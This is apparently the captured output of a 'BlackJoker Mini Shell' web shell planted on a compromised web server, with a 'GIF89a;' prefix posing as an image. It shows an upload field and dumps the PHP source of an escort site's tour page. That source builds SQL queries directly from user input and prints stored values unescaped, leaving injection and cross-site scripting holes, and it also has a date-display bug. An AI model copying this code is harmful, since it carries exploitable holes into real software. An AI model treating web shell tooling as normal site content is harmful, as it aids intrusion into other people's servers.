GIF89a; Mini Shell

Mini Shell

Direktori : /home/serb/public_html/
Upload File :
Current File : /home/serb/public_html/add-mytours.php

<?
  session_start();
   if(!($_SESSION['islogin']))
  {
	  ?>
      <script language="javascript">
	  location.href="index.php";
	  </script>
  <? }
 include("lib/globals.php");
 include("lib/common.php");
 include("lib/functions.php");
 ?>
 <?
 	if($_POST)
	{
		$stdate=$_POST['startyear'].'-'.$_POST['startmonth'].'-'.$_POST['startdate'];
		$enddate=$_POST['endyear'].'-'.$_POST['endmonth'].'-'.$_POST['enddate'];
		
		$sql_postid="SELECT * FROM escort_details where user_id='".$_SESSION['userid']."'";
		$res_postid=execute_query($sql_postid);
		$row_postad=mysql_fetch_array($res_postid);
		
		$sql_tour="Insert into escort_tours(id,postid,userid,country,city,city_place,phone,instruction,email,start_date,end_date)VALUES('','".$row_postad['id']."','".$_SESSION['userid']."','".$_POST['visitor_country']."','".$_POST['city']."','".$_POST['cityarea']."','".$_POST['phone']."','".$_POST['instruction']."','".$_POST['email']."','$stdate','$enddate')";
		
		execute_query($sql_tour);
		?>
        <script language="javascript">
			location.href="add-mytours.php";
		</script>		
		<?	
			
	}
 ?>
 
<? include "includes/header_top.php";?>

<body>

<script language="javascript">

	function validate()
	{		

		if(document.f22.visitor_country.value=="")
		{
			alert("Enter your Country");
			document.f22.visitor_country.focus();
			return false;
		}
		if(document.f22.city.value=="")
		{
			alert("Enter your City");
			document.f22.city.focus();
			return false;
		}
		if(document.f22.cityarea.value=="")
		{
		alert("Enter your City Area");
			document.f22.cityarea.focus();
			return false;
		}
		if(document.f22.phone.value=="")
		{
			alert("Enter your Phone");
			document.f22.phone.focus();
			return false;
		}		

    	if(document.f22.instruction.value=="")
		{
			alert("Select Your Instruction.");			
			document.f22.instruction.focus();
			return false;
		}	
		if(document.f22.email.value=="")
		{

			alert("Enter Your Email.");			
			document.f22.email.focus();
			return false;
		}	
		
		if(document.f22.startmonth.value=="")
		{
			alert("Select Your Starting Month.");			
			document.f22.startmonth.focus();
			return false;
		}
		if(document.f22.startdate.value=="")
		{
			alert("Select Your Starting Date.");			
			document.f22.startdate.focus();
			return false;
		}	
		if(document.f22.startyear.value=="")
		{
			alert("Enter Your Starting Year.");			
			document.f22.startyear.focus();
			return false;
		}			
		
	}

	

</script>
<script>
      function del_record(id,name,page)
   {
	 var msg="Sure to delete your tour with all it's references ? ";
	 var choice=confirm(msg);
	 if(choice)
	 {
	   var target="delete_tour.php?id="+id;
	   //alert(target);
	   window.location.href=target;
	 }
   }
	
</script>
<link rel="stylesheet"  href="css/elements.css" />
<script src="js/my_js.js"></script>

 <?
	$sql_gen="select * from escort_details where user_id='".$_SESSION['userid']."'";
	$res_gen=execute_query($sql_gen);	
	$row_gen=mysql_fetch_array($res_gen);
	if($row_gen['gender']=='Male')
	{
		include "includes/boys-header.php";
 		
        
        } else
        {
        	include "includes/header.php";
        }
	  ?>  
	    
    <div class="main_bg">
   
 		<div style="height:32px;"></div>
        <div  style="width:1000px; margin:0 auto;">
        	
            <div class="statedetails">
                	<div class="stdtls_header">
                    	<span style="color:#000;">Home/My Account
                    </div>
                    <div class="stdtls_midder">
                    	<div style="height:10px;"></div>
                        	<?
							 $sql_postad="select * from escort_details where user_id='".$_SESSION['userid']."' AND status='a'";
							 $res_postad=execute_query($sql_postad);
							 $num_postad=mysql_num_rows($res_postad);
							 $row_postad=mysql_fetch_array($res_postad);
							?>
                    	<div class="left_containmain"> 
                        	<div style=" width:980px; margin:0 auto; margin:0 auto; font-family:'Open Sans',sans-serif; font-size:14px; color:#000;">
                          	<table border="0" cellpadding="0" cellspacing="0">
                            	<tr>
                                	<?
									$sql_pstad="select * from escort_details where user_id='".$_SESSION['userid']."' ";
									 $res_pstad=execute_query($sql_pstad);
									 $num_pstad=mysql_num_rows($res_pstad);
									 $row_pstad=mysql_fetch_array($res_pstad);
									
									
									 if($num_pstad>0)
										{
											if($row_pstad['status']=='a')
											{
								
												?>
                                			<td class="updatehdrstyle23"><a href="myaccount.php"><img src="images/edit_profile.png" style="vertical-align:middle;" /><br/>My Profile</a></td>
                                            <? }
											
											else
											{?>
                                            	<td class="updatehdrstyle23"><img src="images/edit_profile.png" style="vertical-align:middle;" /><br/>My Profile</td>
												
											<? }
                                            
                                            
                                            
                                     } else
									
									{ ?>
                                    <td class="updatehdrstyle23"><a href="userpostad.php"><img src="images/add_escort.png" style="vertical-align:middle;" /><br/>Post ad</a></td>
                                    
                                    <? } ?>
                                    <td width="20" align="center"><img src="images/accmenudivider.png" /></td>
                                    <td class="updatehdrstyle23"><a href="escortimages.php"><img src="images/my_photo.png" style="width:52px; height:52px; vertical-align:middle" /><br/>My Photos</a></td>
                                     <td width="20" align="center"><img src="images/accmenudivider.png" /></td>
                                    <td class="updatehdrstyle23"><a href="add-myvideos.php?pid=<?=$row_postad['id']?>"><img src="images/my_videos.png" style="width:55px; height:55px; vertical-align:middle" /><br/>My Videos</a></td>
                                     <td width="20" align="center"><img src="images/accmenudivider.png" /></td>
                                    <td class="updatehdrstyle23"><a href="verifyimage.php"><img src="images/verifyimage.png" style="width:55px; height:55px; vertical-align:middle" /><br/> 100% verify</a></td>
                                     <td width="20" align="center"><img src="images/accmenudivider.png" /></td>
                                    <td class="updatehdrstyle23"><a href="add-mytours.php"><img src="images/my_tour.png" style="width:55px; height:55px; vertical-align:middle" /><br/> My Tours</a></td>
                                     <td width="20" align="center"><img src="images/accmenudivider.png" /></td>
                                    <td class="updatehdrstyle23"><img src="images/my_reviews.png" style="width:55px; height:55px; vertical-align:middle" /><br/> My Reviews</td>
                                     <td width="20" align="center"><img src="images/accmenudivider.png" /></td>
                                    <td class="updatehdrstyle23"><a href="blacklist.php"><img src="images/blacklist.png" style="width:55px; height:55px; vertical-align:middle" /><br/>Black List</a></td>
                                    <td width="20" align="center"><img src="images/accmenudivider.png" /></td>
                                     <?
									if( $num_postad>0)
									 {
										 if($row_postad['ft_ad_status']=='Yes')
										  {
											  	$todaydate=date('Y-m-d');
												$exp=$row_postad['ft_ad_expair'];
												if($todaydate>$exp)
												   {?>
                                                 	<td class="updatehdrstyle23"><a href="advertise-vipmember.php?estid=<?=$row_postad['id']?>"><img src="images/premium.png" style="width:55px; height:55px; vertical-align:middle" /><br/>Premium</a></td>
                                                 <? }
											    else
												 { ?>
													 <td class="updatehdrstyle23"><img src="images/premium.png" onclick ="div_show()" style="width:55px; height:55px; vertical-align:middle" /><br/>Premium</td>  
												<? }
												
												
										 
                                        }
									   
									    else
									    	{?>                                   
                                    
                                    		<td class="updatehdrstyle23"><a href="advertise-vipmember.php?estid=<?=$row_postad['id']?>"><img src="images/premium.png" style="width:55px; height:55px; vertical-align:middle" /><br/>Premium</a></td>
                                        <? } ?>
                                        
                                    <? } 
									else
									{?>
                                    
                                  	<td class="updatehdrstyle23"><img src="images/premium.png" style="width:55px; height:55px; vertical-align:middle" /><br/>Premium</td>  
                                  <? } ?>
                                    
                                    
                                
                                </tr>
                                <tr height="8"></tr>
                                <tr>
                                	<td class="updatehdrstyle23"><a href="escort-harrasment.php"><img src="images/blacklist.png" style="width:55px; height:55px; vertical-align:middle" /><br/>Report Harrasers</a></td>
                                    <td width="20" align="center"><img src="images/accmenudivider.png" /></td>
                                    <td class="updatehdrstyle23"><a href="contact_us.php"><img src="images/support.png" style="width:55px; height:55px; vertical-align:middle" /><br/>Support</a></td>
                                     <td width="20" align="center"><img src="images/accmenudivider.png" /></td>
                                    <td class="updatehdrstyle23"><a href="password-setting.php"><img src="images/settings.png" style="width:55px; height:55px; vertical-align:middle" /><br/>Settings</a></td>
                                    <td width="20" align="center"><img src="images/accmenudivider.png" /></td>
                                     <td class="updatehdrstyle23"><a href="view-own-ad.php?name=<?=$row_postad['nickname']?>&phone=<?=$row_postad['tel_national']?>"><img src="images/viewad.png" style="width:55px; height:55px; vertical-align:middle" /><br/>View Ad</a></td>
                                     <td width="20" align="center"><img src="images/accmenudivider.png" /></td>
                                     <td class="updatehdrstyle23"><a href="remove-account.php"><img src="images/removeacc.png" style="width:55px; height:55px; vertical-align:middle" /><br/>Remove Account/AD</a></td>
                                     <td width="20" align="center"><img src="images/accmenudivider.png" /></td>
                                     <td class="updatehdrstyle23"><a href="mybanner.php"><img src="images/bannericon2.png" style="width:55px; height:55px; vertical-align:middle" /><br/>My Banner</a></td>
                                     <td width="20" align="center"><img src="images/accmenudivider.png" /></td>
                                    <td class="updatehdrstyle23"><a href="logout.php"><img src="images/logout.png" style="width:55px; height:55px; vertical-align:middle" /><br/>Logout</a></td>
                                
                                </tr>
                            	
                            </table>
            						
						
                        	</div>
                            <div id="abc">
                                     <div id="popupContact"> 
                                        
                                        <div class="contactin" >    	
                                        <!--<form action="sendmail-process.php" method="post" id="form11" name="f1" onSubmit="return validate();" >-->                      		                                             
                                        <div class="deliveredmsg" id="avt25">
                                            <table border="0" cellpadding="0" cellspacing="0" style="margin:0 auto;">
                                                <tr>
                                                    <td class="wanttext"> 
                                                   <? $todaydate=date('Y-m-d');
												      $exp=$row_postad['ft_ad_expair'];
													  $diff=(strtotime($exp) - strtotime($todaydate)) / (60 * 60 * 24);
													  $diffday=explode('.',$diff)
													  
													?>                         
                                                     <span class="messagetext">You have a current featured ad in progress and it can be renewed in <?=$diffday[0]?> amount of days. </span>
                                                    </td>
                                                </tr>
                                                <tr height="10"></tr>
                                                <tr>
                                                    <td>
                                                        <div style="height:35px;">
                                                        
                                                        </div>
                                                    
                                                    </td>
                                                
                                                </tr>
                                                <tr height="10"></tr>
                                                <tr>
                                                    <td align="center">
                                                        <a href="add-mytours.php"><img src="images/close.png" /></a>
                                                    </td>
                                                
                                                </tr>
                                                <tr height="20">
                                                    <td></td>
                                                </tr>
                                            </table>
                                        
                                        
                                        </div>
                                        
                                              
                                    
                                      
                                      </div>
                                                                    
                                    
                                   </div>
                              </div>
                           <br/>                          
                           
                           <div style=" width:960px; margin:0 auto; font-family:'Open Sans',sans-serif; font-size:14px; color:#000;">
                          		
                               	<div class="postadpagebody">
                                	<h1>My Tours</h1>
                                    <?
									//  $date=date('Y-m-d');
									//  $ntexpiry = date("Y-m-d", time() - 30*24*60*60 );
									  $sql="SELECT * FROM  escort_tours WHERE userid='".$_SESSION['userid']."' ORDER BY id DESC";
									 
									 
									 $res=execute_query($sql);
									
									 $num=mysql_num_rows($res);
									
									 ?>
                                    <div class="tourlist">
                                    	<div class="update_letest2222">
                                        <table border="0" cellpadding="0" cellspacing="0">
                                        <tr style="background:#999999; border-radius:3px 3px 0 0; height:36px;">
                                            <td width="50" align="center" class="updatehdrstyle" >Country</td>
                                            <td width="150"  class="updatehdrstyle">City</td>
                                            <td width="150" class="updatehdrstyle">CityArea</td>
                                             <td width="100"  class="updatehdrstyle">Phone</td>                                             
                                             <td width="100"  class="updatehdrstyle">Start Date</td>
                                             <td width="100"   class="updatehdrstyle">End Date</td>
                                             <td width="250" class="updatehdrstyle">Email</td>
                                             <td width="50" class="updatehdrstyle">Delete</td>
                                             
                                            
                                        </tr>
                                      </table>
                                      <div style=" width:955px;">
                                        <table border="0" cellpadding="0" cellspacing="0">
                                            <?
                                                while($row=mysql_fetch_array($res))
                                                {
                                                    
                                                    ?>
                                                
                                                    <tr height="5"></tr>
                                            <tr>
                                                <td  width="50" class="updatehdrstyle22"><?=$row['country']?></td>
                                                <td width="150" class="updatehdrstyle22"><?=$row['city']?></td>
                                                <td  width="150" class="updatehdrstyle22"><?=$row['city_place']?></td>
                                                 <td width="100" class="updatehdrstyle22"><?=$row['phone']?></td>                                             
                                               	 <td  width="100" class="updatehdrstyle22"><?=$row['start_date']?></td>
                                                 <td width="100"  class="updatehdrstyle22"><?=$row['start_date']?></td>
                                                 <td width="250" class="updatehdrstyle22"><?=$row['email']?></td>
                                                 <td  width="50" class="updatehdrstyle22"><a href="#" onClick="del_record('<?=$row['id']?>');"><img src="images/bDrop.png" /></a></td>
                                                  
                                            </tr>
                                                    
                                            <?	}
                                             
                                            ?>
                                            
                                        </table>
                                      </div>
                                      </div>
                                    
                                    
                                    </div>
                                    <div class="addtourlist">
                                    	
                                         <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script>
										<script>
                                            function textCounter(field,field2,maxlimit)
                                        {
                                         var countfield = document.getElementById(field2);
                                         if ( field.value.length > maxlimit ) {
                                          field.value = field.value.substring( 0, maxlimit );
                                          return false;
                                         } else {
                                          countfield.value = maxlimit - field.value.length;
                                         }
                                        }
                                            $(document).ready(function() {
                                                $('.regcomactbar').click(function() {
                                                    $(this).closest("div").next().slideToggle();
                                                });
                                               
                                               $("#regcombutton").click(function () {
                                                    $("#regcomcontain").slideToggle();
                                                    
                                                });
                                                 
                                        
                                        });
                                        </script>
                                        <div id="regcombutton" class="addtourbotton">
                                        	<img src="images/addtours.png" /><br/><br/>
                                        </div>
                                        <div id="regcomcontain" style="display:none;">
                                        	<form  action="<?=$_SERVER['PHP_SELF'] ?>" enctype="multipart/form-data"  method="post" name="f22" style="padding: 5px;" onSubmit="return validate();">
                                            <table border="0" cellpadding="0" cellspacing="0" style="margin:0 auto;">
                                            
                                            	<tr height="10"></tr>
                                                <tr>
                                                	<td class="jointext222">Country :</td>
                                                    <td>
                                                    	<select class="drp_img2" id="visitor_country" name="visitor_country">

                                                                <option value="">Select Country</option>
                                                
                                                                <?
                                                
                                                                $sql_country="select * from countries";
                                                
                                                                $country_res=execute_query($sql_country);
                                                
                                                                while($country_row=mysql_fetch_array($country_res)){
                                                
                                                                ?>
                                                
                                                                <option value="<?=$country_row['ccode']?>" <? if($row_postad['country_name']==$country_row['ccode']){ ?> selected="selected"<? } ?> ><?=$country_row['country']?></option>
                                                
                                                                <? }?>
                                                
                                                                </select>
                                                    </td>
                                                </tr>
                                                <tr height="8"></tr>
                                                <tr>
                                                	<td class="jointext222">City:</td>
                                                    <td><input type="text" name="city" class="main_input" /></td>
                                                </tr>
                                                <tr height="8"></tr>
                                                <tr>
                                                	<td class="jointext222">City Area:</td>
                                                    <td><input type="text" name="cityarea" class="main_input" /></td>
                                                </tr>
                                                 <tr height="8"></tr>
                                                <tr>
                                                	<td class="jointext222">Phone:</td>
                                                    <td><input type="text" name="phone" class="main_input" /></td>
                                                </tr>
                                                <tr height="8"></tr>
                                                <tr>
                                                	<td class="jointext222">Instruction:</td>
                                                    <td>
                                                    	 <select  id="ins" class="drp_img2" name="instruction">
                                                        <option name="PhoneText" value="SMSCalls">SMS & Calls</option>
                                                        <option name="PhoneText" value="SMS only">SMS only</option>
                                                        <option name="PhoneText" value="Calls only">Calls only</option>
                                                      </select>
                                                    </td>
                                                </tr>
                                                <tr height="8"></tr>
                                                <tr>
                                                	<td class="jointext222">Email:</td>
                                                    <td>
													<?
															$sql_email="SELECT * FROM user_info WHERE userid='".$_SESSION['userid']."'";
															$res_email=execute_query($sql_email);
															$row_email=mysql_fetch_array($res_email);
														?>
                                                    <input type="text" name="email" value="<?=$row_email['email']?>" class="main_input" />
                                                   </td>
                                                </tr>
                                                <tr height="8"></tr>
                                                <tr>
                                                	<td colspan="2" align="left">
                                                    	Tour Date
                                                    </td>
                                                </tr>
                                                <tr height="8"></tr>
                                                <tr>
                                                	<td class="jointext222">Start Date:</td>
                                                    <td>
                                                    	 <select  id="ins" class="drp_img2" style="width:90px !important" name="startmonth">
                                                              <option value="">Month</option>
                                    
                                                                <option value="1">1: Jan</option>
                                            
                                                                <option value="2">2: Feb</option>
                                            
                                                                <option value="3">3: Mar</option>
                                            
                                                                <option value="4">4: Apr</option>
                                            
                                                                <option value="5">5: May</option>
                                            
                                                                <option value="6">6: Jun</option>
                                            
                                                                <option value="7">7: Jul</option>
                                            
                                                                <option value="8">8: Aug</option>
                                            
                                                                <option value="9">9: Sep</option>
                                            
                                                                <option value="10">10: Oct</option>
                                            
                                                                <option value="11">11: Nov</option>
                                            
                                                                <option value="12">12: Dec</option>
                                                      </select> -
                                                      <select  id="ins" class="drp_img2" style="width:80px !important" name="startdate">
                                                              <option value="">Date</option>
                                    
                                                                <?
                                
																	for($i=1; $i<=31; $i++){
											
																?>
											
																<option value="<?=$i?>"><?=$i?></option>
											
																<? }?>
                                                      </select> -
                                                      <select name="startyear" class="drp_img2" style="width:80px !important;">
                                
                                                            <option value="">Year</option>
                                
															<?
                                        
                                                                for($i=2014; $i<=2040; $i++){
                                        
                                                            ?>
                                        
                                                            <option value="<?=$i?>"><?=$i?></option>
                                        
                                                            <? }?>
                                        
                                                        </select>
                                                    </td>
                                                </tr>
                                                 <tr height="8"></tr>
                                                <tr>
                                                	<td class="jointext222">End Date:</td>
                                                    <td>
                                                    	 <select  id="ins" class="drp_img2" style="width:90px !important" name="endmonth">
                                                              <option value="">Month</option>
                                    
                                                                <option value="1">1: Jan</option>
                                            
                                                                <option value="2">2: Feb</option>
                                            
                                                                <option value="3">3: Mar</option>
                                            
                                                                <option value="4">4: Apr</option>
                                            
                                                                <option value="5">5: May</option>
                                            
                                                                <option value="6">6: Jun</option>
                                            
                                                                <option value="7">7: Jul</option>
                                            
                                                                <option value="8">8: Aug</option>
                                            
                                                                <option value="9">9: Sep</option>
                                            
                                                                <option value="10">10: Oct</option>
                                            
                                                                <option value="11">11: Nov</option>
                                            
                                                                <option value="12">12: Dec</option>
                                                      </select> -
                                                      <select  id="ins" class="drp_img2" style="width:80px !important" name="enddate">
                                                              <option value="">Date</option>
                                    
                                                                <?
                                
																	for($i=1; $i<=31; $i++){
											
																?>
											
																<option value="<?=$i?>"><?=$i?></option>
											
																<? }?>
                                                      </select> -
                                                      <select name="endyear" class="drp_img2" style="width:80px !important;">
                                
                                                            <option value="">Year</option>
                                
															<?
                                        
                                                                for($i=2014; $i<=2040; $i++){
                                        
                                                            ?>
                                        
                                                            <option value="<?=$i?>"><?=$i?></option>
                                        
                                                            <? }?>
                                        
                                                        </select>
                                                    </td>
                                                </tr>
                                                <tr height="15"></tr>
                                                <tr>
                                                	<td colspan="2" align="center">
                                                    <input type="image" src="images/submit.png" />
                                                    <input type="hidden" name="postid" value="<?=$_GET['pid']?>" />
                                                    </td>
                                                </tr>
                                                <tr height="15"></tr>
                                                
                                            
                                            </table>
                                           </form>
                                        </div>
                                    </div>
                                
                                </div>
                                
                                <br class="spacer" />
                               
            						
						
                        	</div>
                        <br class="spacer" />
                        </div>
                        
                         
                        
                        
                    
                    </div>
                    <div class="stdtls_footer"></div>
                </div>
            
            <br class="spacer" />
            
        </div>
     
 </div>

<? include "includes/footer.php";?>

./BlackJoker Mini Shell 1.0